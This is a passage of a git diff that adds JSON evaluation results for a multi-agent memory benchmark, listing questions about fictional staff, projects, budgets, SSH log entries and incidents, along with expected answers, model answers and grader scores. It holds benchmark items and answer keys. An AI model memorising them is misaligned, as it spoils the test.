1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "temporal_awareness": 1.0, + "specificity": 1.0 + } + } + ], + "results": [ + { + "question_id": "needle_01", + "question_text": "What is Sarah Chen's birthday?", + "category": "needle_in_haystack", + "expected_answer": "March 15", + "actual_answer": "Sarah Chen's birthday is **March 15**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "needle_02", + "question_text": "What allergy does James O'Brien have?", + "category": "needle_in_haystack", + "expected_answer": "gluten", + "actual_answer": "James O'Brien is allergic to **gluten**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "needle_03", + "question_text": "What is Fatima Al-Hassan's hobby?", + "category": "needle_in_haystack", + "expected_answer": "calligraphy", + "actual_answer": "Fatima Al-Hassan's hobby is **calligraphy**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "needle_04", + "question_text": "What degree does Yuki Tanaka hold?", + "category": "needle_in_haystack", + "expected_answer": "PhD Statistics from MIT", + "actual_answer": "Based on the facts provided, Yuki Tanaka holds a **PhD in Statistics from MIT (Massachusetts Institute of Technology)**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "temporal_01", + "question_text": "What is the CURRENT deadline for Project Atlas?", + "category": "temporal_evolution", + "expected_answer": "September 20 (changed from August 3, which was changed from June 15)", + "actual_answer": "## Current Deadline for Project Atlas\n\nThe current deadline for Project Atlas is **September 20**.\n\n**Chronological chain of deadline changes:**\n1. **June 15** \u2013 Original deadline\n2. **August 3** \u2013 Second deadline (moved due to vendor contract falling through)\n3. **September 20** \u2013 Final/current deadline (moved due to compliance review taking longer than expected)", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 1.0, + "reasoning": "The answer demonstrates perfect temporal awareness by clearly distinguishing the current deadline (September 20) from historical values (June 15 and August 3). It explicitly labels them chronologicall" + } + ] + }, + { + "question_id": "temporal_02", + "question_text": "What was the ORIGINAL deadline for Project Atlas before any changes?", + "category": "temporal_evolution", + "expected_answer": "June 15", + "actual_answer": "Based on the facts provided, the **original deadline for Project Atlas was June 15**.\n\nThis is confirmed by multiple facts, including: *\"Project Atlas originally had a deadline of June 15\"* and *\"Project Atlas had its deadline changed multiple times, starting from June 15 as the first deadline.\"*", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 1.0, + "reasoning": "The answer perfectly demonstrates temporal awareness by correctly identifying the ORIGINAL deadline (June 15) and explicitly distinguishing it from later changes. The response acknowledges that the de" + } + ] + }, + { + "question_id": "temporal_03", + "question_text": "How many times did the Project Atlas deadline change?", + "category": "temporal_evolution", + "expected_answer": "2 times (June 15 -> August 3 -> September 20)", + "actual_answer": "The Project Atlas deadline changed **2 times**.\n\nThe deadline started at **June 15** (original), was changed to **August 3** (1st change), and then changed again to **September 20** (2nd change).", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 1.0, + "reasoning": "The answer perfectly distinguishes between the original deadline (June 15) and the two subsequent changes (August 3 and September 20). It clearly labels each state temporally ('original', '1st change'" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "numerical_01", + "question_text": "What was the server migration cost according to the internal audit?", + "category": "numerical_precision", + "expected_answer": "$450K", + "actual_answer": "The server migration cost, according to the internal audit, was **$450,000 (USD)**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +1 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +1 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "numerical_03", + "question_text": "What percentage over the original estimate was the Q2 marketing budget?", + "category": "numerical_precision", + "expected_answer": "15% (budget was $2.3M vs original estimate of $2.0M)", + "actual_answer": "The Q2 marketing budget was **15% over** the original estimate.\n\nSpecifically, the actual budget was **$2.3M** compared to the original estimate of **$2.0M**, representing a **$300,000 (or $0.3M) overage**.\n\nUsing the pre-computed result: (2.3 - 2.0) / 2.0 \u00d7 100 = **15%**", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "numerical_04", + "question_text": "What is the API response time at p95 and p99, and are both within target?", + "category": "numerical_precision", + "expected_answer": "p95: 245ms (target <300ms, within target), p99: 890ms (target <1000ms, within target)", + "actual_answer": "## API Response Time: p95 and p99\n\n### p95 Response Time\n- **Value:** 245ms\n- **Target threshold:** under 300ms\n- **Status:** \u2705 **Within target** \u2014 with a 55ms margin of headroom remaining\n\n### p99 Response Time\n- **Value:** 890ms\n- **Target threshold:** under 1000ms\n- **Status:** \u2705 **Within target** \u2014 with 110ms of headroom remaining\n\n### Summary\n**Both p95 and p99 are within their respective targets.** The p95 at 245ms sits comfortably below the 300ms threshold, and the p99 at 890ms remains un", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "source_01", + "question_text": "What does the internal audit say the server migration cost was, versus the vendor invoice?", + "category": "source_attribution", + "expected_answer": "Internal audit: $450K; Vendor invoice: $387K. The $63K difference was consulting fees billed separately.", + "actual_answer": "## Server Migration Cost: Internal Audit vs. Vendor Invoice\n\nAccording to the facts:\n\n- **Internal Audit figure**: **$450,000**\n- **Vendor Invoice**: **$387,000**\n\nThis represents a **$63,000 difference** between the two figures.\n\n### Why the Discrepancy Exists\n\nThe gap is not an error \u2014 it is fully explained by **consulting fees of $63,000** (billed separately by Accenture). The internal audit's $450,000 figure represents the **total project cost**, which bundles both the vendor invoice and the", + "overall_score": 0.95, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "source_attribution", + "score": 0.9, + "reasoning": "The answer correctly attributes all figures to their respective sources (internal audit vs. vendor invoice) and accurately identifies the consulting fees as the explanation for the discrepancy. The at" + } + ] + }, + { + "question_id": "source_02", + "question_text": "What are the different claims about Q3 revenue and who made each claim?", + "category": "source_attribution", + "expected_answer": "Finance Department: $5.2M (includes deferred revenue); External Auditor: $4.8M (excludes deferred); Board Presentation: $5.0M (rounded, preliminary)", + "actual_answer": "## Q3 Revenue Claims\n\nThere are **three different claims** about Q3 revenue, each from a different source:\n\n---\n\n### 1. **$5.2M** \u2014 Finance Department\n- **Source:** Finance Department report (Facts 31, 32)\n- **Note:** This figure **includes deferred revenue**\n\n---\n\n### 2. **$4.8M** \u2014 External Auditor\n- **Source:** External Auditor report (Facts 33, 34, 35)\n- **Note:** This figure **excludes deferred revenue recognition**\n\n---\n\n### 3. **$5.0M** \u2014 Board Presentation (Preliminary Report)\n- **Source", + "overall_score": 0.9833, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "source_attribution", + "score": 0.95, + "reasoning": "The answer excellently attributes each claim to its specific source with precise citations (Facts 31, 32 for Finance; Facts 33, 34, 35 for Auditor; Facts 42, 24 for Board). It correctly identifies the" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "crossref_01", + "question_text": "Which project is Sarah Chen currently leading and what award did she receive?", + "category": "cross_reference", + "expected_answer": "Sarah Chen led Project Atlas to completion and received the Innovation Award. Lars Eriksson now leads the maintenance phase.", + "actual_answer": "Based on the facts provided, there has been a **leadership transition** for Project Atlas:\n\n- **Previously**, Sarah Chen led Project Atlas (a cloud migration platform project) and received the **Innovation Award** for leading it to completion.\n- **Currently**, **Lars Eriksson** leads the maintenance phase of the Atlas project, having taken over after Sarah Chen received the Innovation Award.\n\nSo to directly answer:\n- **Sarah Chen is no longer leading Project Atlas** \u2014 Lars Eriksson now leads its", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "crossref_02", + "question_text": "Fatima Al-Hassan moved from one project to research. Who replaced her and on which project?", + "category": "cross_reference", + "expected_answer": "Fatima Al-Hassan was leading Project Echo. Yuki Tanaka replaced her when Fatima moved to the research division.", + "actual_answer": "**Yuki Tanaka** replaced Fatima Al-Hassan on **Project Echo**.\n\nFatima Al-Hassan was the original leader of Project Echo before moving to a research role. Yuki Tanaka was subsequently appointed as the new lead of Project Echo, and is currently the project's lead.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "distractor_01", + "question_text": "What is Priya Patel's allergy? Answer with ONLY the allergy information, ignoring any unrelated facts.", + "category": "distractor_resistance", + "expected_answer": "Priya Patel has no known allergies (none).", + "actual_answer": "Priya Patel has no known allergies.", + "overall_score": 0.95, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +2 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "confidence_calibration", + "score": 0.9, + "reasoning": "The answer is stated as a definitive fact without hedging language, which is appropriate given that 'no known allergies' is a clear, factual medical status. The answer avoids overconfidence by using '" + } + ] + }, + { + "question_id": "distractor_02", + "question_text": "What is the sprint velocity? Do not include any random trivia in your answer.", + "category": "distractor_resistance", + "expected_answer": "47 points (team average over last 6 sprints)", + "actual_answer": "The sprint velocity is **47 points**, representing the team average over the last 6 sprints.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "meta_01", + "question_text": "How many different projects have I told you about?", + "category": "meta_memory", + "expected_answer": "5 projects: Atlas, Beacon, Cascade, Delta, and Echo", + "actual_answer": "I'll scan all the facts to identify every distinct project mentioned.\n\nHere are all the projects found:\n\n1. **Project Atlas**\n2. **Project Beacon**\n3. **Project Cascade**\n4. **Project Delta**\n5. **Project Echo**\n\n**Total: 5 projects**", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 6/6 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 6/6 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "seclog_01", + "question_text": "How many failed SSH logins came from IP 192.168.1.45?", + "category": "security_log_analysis", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "Based on the provided facts, there were **6 failed SSH login attempts** from IP 192.168.1.45.\n\nThe individual events recorded were:\n1. 14:23:01 \u2013 username 'admin' (medium severity)\n2. 14:23:05 \u2013 username 'root' (high severity)\n3. 14:23:08 \u2013 username 'admin' (medium severity)\n4. 14:23:12 \u2013 username 'root' (high severity)\n5. 14:23:15 \u2013 username 'admin' (medium severity)\n6. 14:23:18 \u2013 username 'root' (high severity)", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "incident_01", + "question_text": "What is the current status of INC-2024-001?", + "category": "incident_tracking", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "## Status of INC-2024-001\n\n**Chronological chain of status changes for INC-2024-001:**\n\n1. **Contained** (initial status as of 2024-03-17 \u2014 Fact 80)\n2. **Investigating** (changed from 'contained' to 'investigating' \u2014 Fact 83)\n3. **Remediated** (changed from 'investigating' to 'remediated' \u2014 Fact 82)\n4. **Closed** (changed from 'remediated' to 'closed' \u2014 Fact 84)\n\n**Current status: CLOSED**", + "overall_score": 0.975, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +1 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 0.95, + "reasoning": "The answer excellently distinguishes current vs historical values by presenting a clear chronological progression of status changes (Contained \u2192 Investigating \u2192 Remediated \u2192 Closed) with timestamps, t" + } + ] + }, + { + "question_id": "infra_01", + "question_text": "Which subnet hosts the production Kubernetes cluster?", + "category": "infrastructure_knowledge", + "expected_answer": "The k8s-prod cluster (v1.29, 12 nodes) runs in the prod-app subnet (10.0.2.0/24)", + "actual_answer": "The production Kubernetes cluster **'k8s-prod'** runs in the subnet named **'prod-app'** with IP range **10.0.2.0/24**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + } + ], + "memory_stats": { + "adapter": "remote", + "learn_count": 1000, + "question_count": 20, + "agent_count": 100 + }, + "eval_type": "distributed", + "agent_count": 100, + "input_hub": "hive-events-amplihive100" +} \ No newline at end of file diff --git a/deploy/azure_hive/eval_results_100agents_5000turns.json b/deploy/azure_hive/eval_results_100agents_5000turns.json new file mode 100644 index 000000000..c237cc7d7 --- /dev/null +++ b/deploy/azure_hive/eval_results_100agents_5000turns.json @@ -0,0 +1,530 @@ +{ + "num_turns": 5000, + "num_questions": 20, + "total_facts_delivered": 764, + "learning_time_s": 4864.6, + "questioning_time_s": 176.46, + "grading_time_s": 14.2, + "overall_score": 0.9929, + "category_breakdown": [ + { + "category": "cross_reference", + "num_questions": 2, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "distractor_resistance", + "num_questions": 2, + "avg_score": 0.975, + "min_score": 0.95, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "confidence_calibration": 0.9, + "specificity": 1.0 + } + }, + { + "category": "incident_tracking", + "num_questions": 1, + "avg_score": 0.975, + "min_score": 0.975, + "max_score": 0.975, + "dimension_averages": { + "factual_accuracy": 1.0, + "temporal_awareness": 0.95 + } + }, + { + "category": "infrastructure_knowledge", + "num_questions": 1, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "meta_memory", + "num_questions": 1, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "needle_in_haystack", + "num_questions": 4, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "numerical_precision", + "num_questions": 3, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "security_log_analysis", + "num_questions": 1, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "specificity": 1.0 + } + }, + { + "category": "source_attribution", + "num_questions": 2, + "avg_score": 0.9667, + "min_score": 0.95, + "max_score": 0.9833, + "dimension_averages": { + "factual_accuracy": 1.0, + "source_attribution": 0.925, + "specificity": 1.0 + } + }, + { + "category": "temporal_evolution", + "num_questions": 3, + "avg_score": 1.0, + "min_score": 1.0, + "max_score": 1.0, + "dimension_averages": { + "factual_accuracy": 1.0, + "temporal_awareness": 1.0, + "specificity": 1.0 + } + } + ], + "results": [ + { + "question_id": "needle_01", + "question_text": "What is Sarah Chen's birthday?", + "category": "needle_in_haystack", + "expected_answer": "March 15", + "actual_answer": "Sarah Chen's birthday is **March 15**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "needle_02", + "question_text": "What allergy does James O'Brien have?", + "category": "needle_in_haystack", + "expected_answer": "gluten", + "actual_answer": "James O'Brien is allergic to **gluten**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "needle_03", + "question_text": "What is Fatima Al-Hassan's hobby?", + "category": "needle_in_haystack", + "expected_answer": "calligraphy", + "actual_answer": "Fatima Al-Hassan's hobby is **calligraphy**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "needle_04", + "question_text": "What degree does Yuki Tanaka hold?", + "category": "needle_in_haystack", + "expected_answer": "PhD Statistics from MIT", + "actual_answer": "Based on the relevant facts, Yuki Tanaka holds a **PhD in Statistics from MIT (Massachusetts Institute of Technology)**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "temporal_01", + "question_text": "What is the CURRENT deadline for Project Atlas?", + "category": "temporal_evolution", + "expected_answer": "September 20 (changed from August 3, which was changed from June 15)", + "actual_answer": "**The current deadline for Project Atlas is September 20.**\n\nThis is the third and final revised deadline, following two earlier changes: first from June 15, then to August 3, and finally to September 20 (due to a compliance review taking longer than expected).", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 1.0, + "reasoning": "The answer demonstrates excellent temporal awareness by clearly identifying September 20 as the CURRENT deadline while explicitly acknowledging the historical progression (June 15 \u2192 August 3 \u2192 Septemb" + } + ] + }, + { + "question_id": "temporal_02", + "question_text": "What was the ORIGINAL deadline for Project Atlas before any changes?", + "category": "temporal_evolution", + "expected_answer": "June 15", + "actual_answer": "The original deadline for Project Atlas was **June 15**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 1.0, + "reasoning": "The answer correctly identifies and distinguishes the original deadline (June 15) from any subsequent changes. The use of 'original' in the response directly addresses the temporal distinction request" + } + ] + }, + { + "question_id": "temporal_03", + "question_text": "How many times did the Project Atlas deadline change?", + "category": "temporal_evolution", + "expected_answer": "2 times (June 15 -> August 3 -> September 20)", + "actual_answer": "The Project Atlas deadline changed **2 times**:\n\n1. From **June 15** \u2192 **August 3** (first change)\n2. From **August 3** \u2192 **September 20** (second change)\n\nThis resulted in 3 total deadline dates, but 2 actual changes.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 1.0, + "reasoning": "The answer demonstrates excellent temporal awareness by clearly distinguishing between the sequence of deadlines (3 total dates) and the number of changes (2 transitions). It explicitly clarifies the " + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "numerical_01", + "question_text": "What was the server migration cost according to the internal audit?", + "category": "numerical_precision", + "expected_answer": "$450K", + "actual_answer": "The server migration cost according to the internal audit was **$450,000 (USD)**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +1 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +1 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "numerical_03", + "question_text": "What percentage over the original estimate was the Q2 marketing budget?", + "category": "numerical_precision", + "expected_answer": "15% (budget was $2.3M vs original estimate of $2.0M)", + "actual_answer": "The Q2 marketing budget was **15% over** the original estimate.\n\nUsing the pre-computed result: **(2.3 - 2.0) / 2.0 \u00d7 100 = 15%**\n\nThis means the actual Q2 marketing spend of **$2.3M** exceeded the original estimate of **$2.0M** by **$300,000 (or $0.3M)** \u2014 a 15% overage.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "numerical_04", + "question_text": "What is the API response time at p95 and p99, and are both within target?", + "category": "numerical_precision", + "expected_answer": "p95: 245ms (target <300ms, within target), p99: 890ms (target <1000ms, within target)", + "actual_answer": "## API Response Time: p95 and p99\n\n### p95 Response Time\n- **Value:** 245ms\n- **Target threshold:** under 300ms\n- **Status:** \u2705 Within target \u2014 55ms of margin remaining\n\n### p99 Response Time\n- **Value:** 890ms\n- **Target threshold:** under 1000ms\n- **Status:** \u2705 Within target \u2014 110ms of headroom remaining\n\n### Summary\nBoth the p95 (245ms) and p99 (890ms) API response times are within their respective target thresholds. The p95 has a comfortable 55ms margin below the 300ms target, and the p99 ha", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "source_01", + "question_text": "What does the internal audit say the server migration cost was, versus the vendor invoice?", + "category": "source_attribution", + "expected_answer": "Internal audit: $450K; Vendor invoice: $387K. The $63K difference was consulting fees billed separately.", + "actual_answer": "Based on the facts provided:\n\n- **Internal audit figure:** $450,000\n- **Vendor invoice figure:** $387,000\n\nThe difference between the two is **$63,000**, which corresponds exactly to the consulting fees (billed separately by Accenture). The internal audit total of $450,000 represents the **combined** figure of the vendor invoice ($387,000) plus the consulting fees ($63,000), meaning the internal audit captured the full cost of the migration while the vendor invoice alone excluded the consulting ", + "overall_score": 0.95, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "source_attribution", + "score": 0.9, + "reasoning": "The answer correctly identifies and attributes the specific figures to their sources (Internal audit: $450K; Vendor invoice: $387K) and accurately explains the $63K difference as consulting fees. The " + } + ] + }, + { + "question_id": "source_02", + "question_text": "What are the different claims about Q3 revenue and who made each claim?", + "category": "source_attribution", + "expected_answer": "Finance Department: $5.2M (includes deferred revenue); External Auditor: $4.8M (excludes deferred); Board Presentation: $5.0M (rounded, preliminary)", + "actual_answer": "## Q3 Revenue Claims\n\nThere are **three different claims** about Q3 revenue, each from a different source:\n\n1. **$4.8M** \u2014 According to the **External Auditor report** (Facts 105, 41). This figure **excludes deferred revenue recognition** (Fact 106).\n\n2. **$5.2M** \u2014 According to the **Finance Department report** (Facts 107, 109, 42). This figure **includes deferred revenue** (Facts 108, 109).\n\n3. **$5.0M** \u2014 According to a **Board Presentation** (Facts 112, 135, 84). This is described as a **rou", + "overall_score": 0.9833, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "source_attribution", + "score": 0.95, + "reasoning": "The answer excellently attributes each claim to its specific source with precise citations. It correctly identifies: (1) External Auditor report with fact references (105, 41, 106), (2) Finance Depart" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "crossref_01", + "question_text": "Which project is Sarah Chen currently leading and what award did she receive?", + "category": "cross_reference", + "expected_answer": "Sarah Chen led Project Atlas to completion and received the Innovation Award. Lars Eriksson now leads the maintenance phase.", + "actual_answer": "Based on the facts provided, there is a leadership transition to note:\n\n- **Sarah Chen previously led Project Atlas** (a Cloud migration platform) and received the **Innovation Award** for leading it to completion.\n- **Lars Eriksson now leads** the maintenance phase of Project Atlas, having taken over after Sarah Chen received the Innovation Award.\n\nSo Sarah Chen is no longer actively leading Project Atlas \u2014 Lars Eriksson currently leads its maintenance phase. Sarah Chen's award was the **Innova", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "crossref_02", + "question_text": "Fatima Al-Hassan moved from one project to research. Who replaced her and on which project?", + "category": "cross_reference", + "expected_answer": "Fatima Al-Hassan was leading Project Echo. Yuki Tanaka replaced her when Fatima moved to the research division.", + "actual_answer": "**Yuki Tanaka** replaced Fatima Al-Hassan on **Project Echo**.\n\nFatima Al-Hassan was the original leader of Project Echo before transitioning to a research role. Yuki Tanaka was subsequently appointed as the new lead of Project Echo, taking over from Fatima Al-Hassan.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "distractor_01", + "question_text": "What is Priya Patel's allergy? Answer with ONLY the allergy information, ignoring any unrelated facts.", + "category": "distractor_resistance", + "expected_answer": "Priya Patel has no known allergies (none).", + "actual_answer": "Priya Patel has no known allergies.", + "overall_score": 0.95, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +2 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "confidence_calibration", + "score": 0.9, + "reasoning": "The answer presents the information as a definitive statement without hedging language, which is appropriate given that the expected answer confirms 'no known allergies.' The phrasing 'has no known al" + } + ] + }, + { + "question_id": "distractor_02", + "question_text": "What is the sprint velocity? Do not include any random trivia in your answer.", + "category": "distractor_resistance", + "expected_answer": "47 points (team average over last 6 sprints)", + "actual_answer": 